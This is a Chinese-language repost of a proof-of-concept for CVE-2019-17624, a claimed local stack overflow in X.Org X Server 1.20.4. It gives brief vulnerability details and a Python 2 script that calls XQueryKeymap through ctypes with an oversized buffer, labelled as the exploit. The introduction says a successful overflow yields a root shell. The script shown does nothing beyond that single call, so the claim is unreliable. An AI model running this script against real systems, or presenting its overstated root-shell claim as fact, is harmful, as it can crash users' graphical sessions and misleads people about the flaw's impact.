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CVE-2019-17624-X.Org X Server 1.20.4 - Local Stack Overflow-Linux图形界面X Server本地栈溢出POC

0x1 简单介绍

X Server 是绝大对数Linux发行版和Unix系统的基础图形界面程序，是系统标配。而此程序也是以Root权限启动的，因而成功溢出它而获得的shell，也是root权限。

0x2 漏洞相关信息 

# 时间: 2019-10-16
 
# 作者: Marcelo Vázquez (s4vitar)
 
# 厂商: https://www.x.org/
 
# 版本: <= 1.20.4
 
# 测试平台: Linux
 
# CVE: CVE-2019-17624

0x3 POC 

#!/usr/bin/python
#coding: utf-8
 
# ************************************************************************
# *                Author: Marcelo Vázquez (aka s4vitar)                 *
# *      X.Org X Server 1.20.4 / X Protocol Version 11 (Stack Overflow)  *
# ************************************************************************
 
import sys, time
import ctypes as ct
 
from ctypes import cast
from ctypes.util import find_library
 
def access_violation(x11, current_display):
  keyboard = (ct.c_char * 1000)()
  x11.XQueryKeymap(current_display, keyboard)
 
if __name__ == '__main__':
 
  print "\n[*] Loading x11...\n"
  time.sleep(2)
 
  x11 = ct.cdll.LoadLibrary(find_library("X11"))
  current_display = x11.XOpenDisplay(None)
 
  print "[*] Exploiting...\n"
  time.sleep(1)
 
  try:
    access_violation(x11, current_display)
 
  except:
    print "\nError...\n"
    sys.exit(1)